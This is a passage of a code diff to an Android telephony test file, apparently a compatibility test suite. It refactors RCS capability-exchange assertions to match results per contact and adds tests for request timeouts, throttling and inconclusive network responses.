+                REQUEST_RESULT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -999,6 +1027,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         // Setup the callback that some of the contacts are terminated.
@@ -1010,16 +1039,34 @@
 
         // Verify the contacts are not found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -1028,6 +1075,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         // Setup the callback that some of the contacts are terminated.
@@ -1051,17 +1099,35 @@
 
         // Verify the first contact is found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, true);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         // Verify the reset contacts are not found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                true, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -1133,21 +1199,38 @@
 
         requestCapabilities(uceAdapter, contacts, callback);
 
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
         // Verify that all the three contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact1, capability);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, true);
+        assertNotNull("Cannot receive the first capabilities result.", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact2, capability);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, false);
+        assertNotNull("Cannot receive the second capabilities result.", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact3, capability);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                false, false);
+        assertNotNull("Cannot receive the third capabilities result.", capability);
+        resultCapList.add(capability);
+
+        // Verify contact1's capabilities from the received capabilities list
+        RcsContactUceCapability resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact: " + contact1, resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify contact2's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact: " + contact2, resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, false);
+
+        // Verify contact3's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact: " + contact3, resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -1156,6 +1239,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
 
         // The request should not be called because the capabilities should be retrieved from cache.
         capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
@@ -1166,18 +1250,33 @@
 
         // Verify that all the three contact's capabilities are received
         capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact1, capability);
-        verifyCapabilityResult(capability, contact1, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+        assertNotNull("Cannot receive the first capabilities result.", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Cannot receive the second capabilities result.", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Cannot receive the third capabilities result.", capability);
+        resultCapList.add(capability);
+
+        // Verify contact1's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact: " + contact1, resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
                 true, true);
 
-        capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact2, capability);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+        // Verify contact2's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact: " + contact2, resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
                 true, false);
 
-        capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact3, capability);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+        // Verify contact3's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact: " + contact3, resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
                 false, false);
 
         // Verify the onCompleted is called
@@ -1187,6 +1286,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         overrideCarrierConfig(null);
@@ -1859,6 +1959,7 @@
         // Override the carrier config of SIP 489 request forbidden.
         PersistableBundle bundle = new PersistableBundle();
         bundle.putBoolean(CarrierConfigManager.Ims.KEY_RCS_REQUEST_FORBIDDEN_BY_SIP_489_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_GROUP_SUBSCRIBE_BOOL, true);
         overrideCarrierConfig(bundle);
 
         // Connect to the ImsService
@@ -1927,60 +2028,17 @@
                 } else if (sipCode == sipCodeBadEvent) {
                     assertTrue(retryAfterMillis > 0L);
                 }
-
-                // Verify the ImsService received the capabilities request.
-                assertEquals(1, subscribeRequestCount.get());
             } catch (Exception e) {
                 fail("testForbiddenResponseToCapabilitiesRequest with command error failed: " + e);
             } finally {
                 errorQueue.clear();
                 retryAfterQueue.clear();
+                capabilityQueue.clear();
+                completeQueue.clear();
                 subscribeRequestCount.set(0);
+                removeTestContactFromEab();
+                removeUceRequestDisallowedStatus();
             }
-
-            // Override the network response with the sip code 503 Service Unavailable
-            capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
-                subscribeRequestCount.incrementAndGet();
-                cb.onNetworkResponse(503, "Service Unavailable");
-            });
-
-            try {
-                // Request contact uce capabilities again.
-                requestCapabilities(uceAdapter, contacts, callback);
-
-                if (sipCode == sipCodeForbidden) {
-                    // Verify that device can still send the subscribe request. The callback
-                    // "onError" is called with the Server Unavailable error.
-                    assertEquals(RcsUceAdapter.ERROR_SERVER_UNAVAILABLE,
-                            waitForIntResult(errorQueue));
-                    // Verify the retryAfter value
-                    assertEquals(0L, waitForLongResult(retryAfterQueue));
-                    // Verify that the capabilities is not forbidden. The ImsService received the
-                    // request from the framework.
-                    assertEquals(1, subscribeRequestCount.get());
-                } else if (sipCode == sipCodeBadEvent) {
-                    // When carrier config Bad Event flag is enabled and the device has received
-                    // the sip code 489 (bad event) before, the uce request will be forbidden.
-
-                    // Verify that the callback "onError" is called with the error code FORBIDDEN
-                    assertEquals(RcsUceAdapter.ERROR_FORBIDDEN, waitForIntResult(errorQueue));
-                    // Verify the retryAfter value
-                    long retryAfterMillis = waitForLongResult(retryAfterQueue);
-                    assertTrue(retryAfterMillis > 0L);
-                    // Verify that the capabilities won't be send to the ImsService because the
-                    // uce request is forbidden.
-                    assertEquals(0, subscribeRequestCount.get());
-                }
-            } catch (Exception e) {
-                fail("testForbiddenResponseToCapabilitiesRequest with command error failed: " + e);
-            } finally {
-                errorQueue.clear();
-                retryAfterQueue.clear();
-                subscribeRequestCount.set(0);
-            }
-
-            // Reset the device status
-            removeUceRequestDisallowedStatus();
         });
 
         overrideCarrierConfig(null);
@@ -2249,6 +2307,7 @@
             completeQueue.clear();
             capabilityQueue.clear();
             removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
             setCapabilitiesRequestTimeout(-1L);
         }
 
@@ -2274,12 +2333,115 @@
             completeQueue.clear();
             capabilityQueue.clear();
             removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
             setCapabilitiesRequestTimeout(-1L);
         }
 
         overrideCarrierConfig(null);
     }
 
+    @Test
+    public void testRequestTimeoutWithPresenceMechanism() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* OPTIONS */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+                errorRetryQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // Prepare the test contact
+        Collection<Uri> contacts = new ArrayList<>();
+        contacts.add(sTestNumberUri);
+
+        // Setup the ImsService doesn't trigger any callbacks.
+        AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            subscribeRequestCount.incrementAndGet();
+            // It won't trigger any callbacks to the framework.
+        });
+
+        // Set the timeout for 3 seconds
+        setCapabilitiesRequestTimeout(3000L);
+
+        // Request capabilities
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        try {
+            // Verify the error code REQUEST_TIMEOUT is received
+            assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(errorRetryQueue));
+
+            // Verify the capabilities can still be received.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            completeQueue.clear();
+            capabilityQueue.clear();
+            subscribeRequestCount.set(0);
+        }
+
+        // Request the capabilities with the same contact again.
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        try {
+            // Verify that the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+
+            // Verify the complete callback will be called.
+            waitForResult(completeQueue);
+
+            // Verify that the ImsService didn't received the request because the capabilities
+            // should be retrieved from the cache.
+            assertEquals(0, subscribeRequestCount.get());
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            completeQueue.clear();
+            capabilityQueue.clear();
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
+            subscribeRequestCount.set(0);
+            setCapabilitiesRequestTimeout(-1L);
+        }
+
+        overrideCarrierConfig(null);
+    }
 
     @Test
     public void testTimeoutToRequestCapabilitiesWithOptionsMechanism() throws Exception {
@@ -2422,22 +2584,40 @@
 
         requestCapabilities(uceAdapter, contacts, callback);
 
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
         // Verify that all the three contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact1SipScheme,
-                capability);
-        verifyCapabilityResult(capability, contact1SipScheme, SOURCE_TYPE_NETWORK,
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
+
+        // Verify the first contact capabilities from the received capabilities list
+        RcsContactUceCapability resultCapability =
+                getContactCapability(resultCapList, contact1SipScheme);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1SipScheme, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_FOUND, true, true);
 
-        capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact2, capability);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                true, false);
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, false);
 
-        capability = waitForResult(capabilityQueue);
-        assertNotNull("Capabilities were not received for contact: " + contact3, capability);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_FOUND,
-                false, false);
+        // Verify the third contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -2446,6 +2626,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         // Setup the callback that some of the contacts are terminated.
@@ -2457,16 +2638,34 @@
 
         // Verify the contacts are not found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact1TelScheme, SOURCE_TYPE_NETWORK,
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1TelScheme);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1TelScheme, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_NOT_FOUND, false, false);
 
-        capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
-        capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -2475,6 +2674,7 @@
         errorRetryQueue.clear();
         completeQueue.clear();
         capabilityQueue.clear();
+        resultCapList.clear();
         removeTestContactFromEab();
 
         // Setup the callback that some of the contacts are terminated.
@@ -2498,17 +2698,35 @@
 
         // Verify the first contact is found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact1SipScheme, SOURCE_TYPE_NETWORK,
-                REQUEST_RESULT_FOUND, true, true);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         // Verify the reset contacts are not found.
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact2, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                true, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
 
         capability = waitForResult(capabilityQueue);
-        verifyCapabilityResult(capability, contact3, SOURCE_TYPE_NETWORK, REQUEST_RESULT_NOT_FOUND,
-                false, false);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
+        // Verify the first contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1SipScheme);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact1SipScheme, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact2);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, true, false);
+
+        // Verify the second contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact3);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
 
         // Verify the onCompleted is called
         waitForResult(completeQueue);
@@ -2643,6 +2861,352 @@
         overrideCarrierConfig(null);
     }
 
+    @Test
+    public void testContactInThrottlingState() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+        // Reset the UCE device state.
+        removeUceRequestDisallowedStatus();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* options */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+                errorRetryQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // Prepare the test contact
+        Collection<Uri> numbers = new ArrayList<>(1);
+        numbers.add(sTestNumberUri);
+
+        // Setup the network response is 408 Request Timeout.
+        int networkRespCode = 408;
+        String networkRespReason = "Request Timeout";
+        AtomicInteger subscribeRequestCount = new AtomicInteger(0);
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            subscribeRequestCount.incrementAndGet();
+            cb.onNetworkResponse(networkRespCode, networkRespReason);
+        });
+
+        // Request contact capabilities
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the callback "onError" is called with the expected error code.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(errorRetryQueue));
+            // Verify the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            // Verity the ImsService received the request.
+            assertTrue(subscribeRequestCount.get() > 0);
+        } catch (Exception e) {
+            fail("testContactsInThrottlingState with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            subscribeRequestCount.set(0);
+        }
+
+        // Request the capabilities again with the same contact.
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the result.
+        try {
+            // Verify that the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_CACHED,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            // Verify the complete callback will be called.
+            waitForResult(completeQueue);
+            // Verify that the ImsService didn't received the request because the capabilities
+            // should be retrieved from the cache.
+            assertEquals(0, subscribeRequestCount.get());
+        } catch (Exception e) {
+            fail("testContactsInThrottlingState with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            subscribeRequestCount.set(0);
+            // reset the cache and throttling list
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
+        }
+
+        // Request availability.
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+        // Verify that the callback "onError" is called with the expected error code.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_REQUEST_TIMEOUT, waitForIntResult(errorQueue));
+            assertEquals(0L, waitForLongResult(errorRetryQueue));
+            // Verify the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            // Verity the ImsService received the request.
+            assertTrue(subscribeRequestCount.get() > 0);
+        } catch (Exception e) {
+            fail("requestAvailability with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            subscribeRequestCount.set(0);
+        }
+
+        // Request availability again with the same contact.
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+        // Verify that the callback "onError" is called with the expected error code.
+        try {
+            // Verify that the caller can received the capabilities callback.
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_CACHED,
+                    REQUEST_RESULT_NOT_FOUND, false, false);
+            // Verify the complete callback will be called.
+            waitForResult(completeQueue);
+            // Verify that the ImsService didn't received the request because the capabilities
+            // should be retrieved from the cache.
+            assertEquals(0, subscribeRequestCount.get());
+        } catch (Exception e) {
+            fail("testContactsInThrottlingState with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            subscribeRequestCount.set(0);
+            removeTestContactFromEab();
+            removeUceRequestDisallowedStatus();
+        }
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testRequestResultInconclusive() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+        // Reset the UCE device state.
+        removeUceRequestDisallowedStatus();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* options */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Long> errorRetryQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+                errorRetryQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // In the first round, prepare the test account
+        Collection<Uri> numbers = new ArrayList<>();
+        numbers.add(sTestNumberUri);
+
+        ArrayList<String> pidfXmlList = new ArrayList<>();
+        pidfXmlList.add(getPidfXmlData(sTestNumberUri, true, true));
+
+        // Setup the network response is 200 OK for the first request
+        final int networkRespCode200 = 200;
+        final String networkRespReasonOK = "OK";
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            cb.onNetworkResponse(networkRespCode200, networkRespReasonOK);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+        });
+
+        // Request contact capabilities
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the contact capability is received and the onCompleted is called.
+        try {
+            RcsContactUceCapability capability = waitForResult(capabilityQueue);
+            assertNotNull("Capabilities were not received", capability);
+            verifyCapabilityResult(capability, sTestNumberUri, SOURCE_TYPE_NETWORK,
+                    REQUEST_RESULT_FOUND, true, true);
+            waitForResult(completeQueue);
+        } catch (Exception e) {
+            fail("testRequestResultInconclusive with command error failed: " + e);
+        } finally {
+            errorQueue.clear();
+            errorRetryQueue.clear();
+            capabilityQueue.clear();
+            completeQueue.clear();
+            numbers.clear();
+            pidfXmlList.clear();
+        }
+
+        // Request the second contacts and this time, the network respons is 408 Request Timeout
+        numbers.add(sTestContact2Uri);
+
